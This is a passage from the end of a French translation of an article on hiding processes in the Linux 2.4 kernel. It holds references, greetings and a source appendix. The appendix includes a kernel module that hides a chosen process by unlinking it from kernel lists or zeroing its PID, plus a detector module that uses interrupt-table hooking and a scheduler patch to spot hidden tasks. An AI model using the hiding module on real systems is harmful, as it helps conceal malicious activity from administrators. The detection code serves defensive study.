hackers underground, mais encore une vois, ce sont des gens brillants et
d'autres méthodes encore plus leet sont à venir :-) réfléchissez-juste
comment cacher une tâche à l'intérieur d'une autre tâche (tais-toi ubra
!! lol sans regarder) ... vous pourrez surement lire ce genre de choses
dans un autre petit article.
--[ 5 - références
[1] pages de mans de ps(1) , top(1) , pstree(1) et l'interface proc(5)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=ps
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=top
http://linux.com.hk/PenguinWeb/manpage.jsp?section=1&name=pstree
http://linux.com.hk/PenguinWeb/manpage.jsp?section=5&name=proc
[2] LRK - Linux Root Kit
par Lord Somer
http://packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz
[3] LKM HACKING
par pragmatic de THC
http://reactor-core.org/linux-kernel-hacking.html
[4] Syscall redirection without modifying the syscall table
par Silvio Cesare
http://www.big.net.au/~silvio/stealth-syscall.txt
http://spitzner.org/winwoes/mtx/articles/syscall.htm
[5] Phrack 59/0x04 - Handling the Interrupt Descriptor Table
par kad
http://www.phrack.org/show.php?p=59&a=4
[6] Phrack 61/0x0e - Kernel Rootkit Experiences
par stealth
http://www.phrack.org/show.php?p=61&a=14
[7] Linux kernel internals #Process and Interrupt Management
Par Tigran Aivazian
http://www.tldp.org/LDP/lki/lki.html
[8] Scheduling in UNIX and Linux
Par moz
http://www.kernelnewbies.org/documents/schedule/
[9] KernelAnalysis-HOWTO #Linux Multitasking
Par Roberto Arcomano
http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html
[10] chkrootkit - CHecK ROOT KIT
Par Nelson Murilo
http://www.chkrootkit.org/
[11] manual page for clone(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone
[12] manual page for ptrace(2)
http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace
--[ 6 - et le jeu n'en finira jamais...
hey, connards ! octavian, trog, slider, raven et tous les gens avec
qui je garde contact, merci d'être la et de perdre votre temps avec moi,
parfois, j'en ai réellement besoin ; ruffus, nirolf et vadim et si on
relancaient la team ... bafta pe oriunde sunteti dudes.
Si vous voyez des typos, des erreurs, ou avez quelque chose à me
communiquer, n'ayez pas peur de prendre contact.
web - w3.phi.group.eu.org
mail - ubra_phi.group.eu.org
irc - Efnet/Undernet #PHI
* les indos de contact et site web sont et resteront non valide jusqu'à
quelques semaines pendant que je déménae, désollé, je remmetrai les
choses ASAP [NDT : As Soon As Possible - aussi vite que possible],
pendant ce temps, vous pouvez me rencontrer via l'email
dradosg_personnal.ro
--[ 7 - sources
<++> src/Makefile
all: sht.c hp.c
gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c
<-->
<++> src/hp.c
/*|
* hp - hide pid v1.0.0
* hides a pid using different methods
* ( demo code for hideing processes paper )
*
* syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4]
*
* coded in 2004 by ubra from PHI Group
* web - ubra.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include
#include
#include
pid_t pid = 0 ;
struct task_struct *task = 0 ;
unsigned char method = 0x3 ;
int init_module ( ) {
if ( pid ) {
task = find_task_by_pid(pid) ;
printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid
, task ) ;
if ( task ) {
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] removing process links\n") ;
REMOVE_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] unhashing pid\n") ;
unhash_pid(task) ;
}
if ( method & 0x4 ) {
printk("[HP] zerofing pid\n") ;
task->pid == 0 ;
}
write_unlock_irq(&tasklist_lock) ;
}
} else if ( task ) {
printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ;
write_lock_irq(&tasklist_lock) ;
if ( method & 0x1 ) {
printk("[HP] setting process links\n") ;
SET_LINKS(task) ;
}
if ( method & 0x2 ) {
printk("[HP] hashing pid\n") ;
hash_pid(task) ;
}
if ( method & 0x4 ) {
printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ;
task->pid = task->tgid ;
}
write_unlock_irq(&tasklist_lock) ;
}
return 1 ;
}
MODULE_PARM ( pid , "i" ) ;
MODULE_PARM_DESC ( pid , "the pid to hide" ) ;
MODULE_PARM ( task , "l" ) ;
MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ;
MODULE_PARM ( method , "b" ) ;
MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 -
linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ;
MODULE_AUTHOR("ubra @ PHI Group") ;
MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible
methods") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sht.c
/*|
* sht - search hidden tasks v1.0.0
* checks tasks to be visible upon entering syscall
* ( demo code for hideing processes paper )
*
* syntax : insmod sht.o
*
* coded in 2005 by ubra from PHI Group
* web - w3.phi.group.za.org
* mail - ubra_phi.group.za.org
* irc - Efnet/Undernet#PHI
|*/
#define __KERNEL__
#define MODULE
#include
#include
#include
struct idta {
unsigned short size ;
unsigned long addr __attribute__((packed)) ;
} ;
struct idt {
unsigned short offl ;
unsigned short seg ;
unsigned char pad ;
unsigned char flags ;
unsigned short offh ;
} ;
unsigned long get_idt_addr ( void ) {
struct idta idta ;
asm ( "sidt %0" : "=m" (idta) ) ;
return idta.addr ;
}
unsigned long get_int_addr ( unsigned int intp ) {
struct idt idt ;
unsigned long idt_addr ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
return idt.offh << 16 | idt.offl ;
}
void hook_int ( unsigned int intp , unsigned long new_func , unsigned
long *old_func ) {
struct idt idt ;
unsigned long idt_addr ;
if ( old_func )
*old_func = get_int_addr(intp) ;
idt_addr = get_idt_addr() ;
idt = *((struct idt *) idt_addr + intp) ;
idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ;
idt.offl = (unsigned short) (new_func & 0xFFFF) ;
*((struct idt *) idt_addr + intp) = idt ;
return ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct
*task ) ;
asmlinkage void stub_func ( void ) ;
unsigned long new_handler = (unsigned long) &check_task ;
unsigned long old_handler ;
void stub_handler ( void ) {
asm(".globl stub_func \n"
".align 4,0x90 \n"
"stub_func : \n"
" pushal \n"
" pushl %%eax \n"
" movl $-8192 , %%eax \n"
" andl %%esp , %%eax \n"
" pushl %%eax \n"
" movl -4(%%esp) , %%eax \n"
" pushl %%esp \n"
" call *%0 \n"
" addl $12 , %%esp \n"
" popal \n"
" jmp *%1 \n"
:: "m" (new_handler) , "m" (old_handler) ) ;
}
asmlinkage void check_task ( struct pt_regs *regs , struct task_struct
*task ) {
struct task_struct *task_p = &init_task ;
unsigned char on_ll = 0 , on_ph = 0 ;
if ( ! task->mm )
return ;
do {
if ( task_p == task ) {
on_ll = 1 ;
break ;
}
task_p = task_p->next_task ;
} while ( task_p != &init_task ) ;
if ( find_task_by_pid(task->pid) == task )
on_ph = 1 ;
if ( ! on_ll || ! on_ph || ! task->pid )
printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK
IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task ,
regs->orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph
? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid"
: "PID IS INVALID" ) ;
return ;
}
int sht_init ( void ) {
hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ;
printk("[SHT] loaded - monitoring tasks integrity\n") ;
return 0 ;
}
void sht_exit ( void ) {
hook_int ( 128 , old_handler , NULL ) ;
printk("[SHT] unloaded\n") ;
return ;
}
module_init(sht_init) ;
module_exit(sht_exit) ;
MODULE_AUTHOR("ubra / PHI Group") ;
MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ;
MODULE_LICENSE("GPL") ;
EXPORT_NO_SYMBOLS ;
<-->
<++> src/sh.patch
--- linux-2.4.30/kernel/sched_orig.c 2004-11-17 11:54:22.000000000 +0000
+++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000
@@ -534,6 +534,25 @@
__schedule_tail(prev);
}
+asmlinkage void phi_sht_check_task(struct task_struct *prev, struct
task_struct *next)
+{
+ struct task_struct *task_p = &init_task;
+ unsigned char on_ll = 0, on_ph = 0;
+
+ do {
+ if(task_p == prev) {
+ on_ll = 1;
+ break;
+ }
+ task_p = task_p->next_task ;
+ } while(task_p != &init_task);
+ if (find_task_by_pid(prev->pid) == prev)
+ on_ph = 1 ;
+ if (!on_ll || !on_ph || !prev->pid)
+ printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i
<%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n",
prev->pid, prev->comm, prev, next->pid, next->comm, next, on_ll ? "on
linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON
PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID");
+ return;
+}
+
/*
* 'schedule()' is the scheduler function. It's a very simple and nice
* scheduler: it's not perfect, but certainly works for most things.
@@ -634,6 +653,13 @@
task_set_cpu(next, this_cpu);
spin_unlock_irq(&runqueue_lock);
+ /*
+ * check task`s structures before we do any scheduling decision
+ * skip any kernel thread which might yeld false positives
+ */
+ if(prev->mm)
+ phi_sht_check_task(prev, next);
+
if (unlikely(prev == next)) {
/* We won't go through the normal tail, so do this by hand */
prev->policy &= ~SCHED_YIELD;
<-->
|=[ EOF ]=---------------------------------------------------------------=|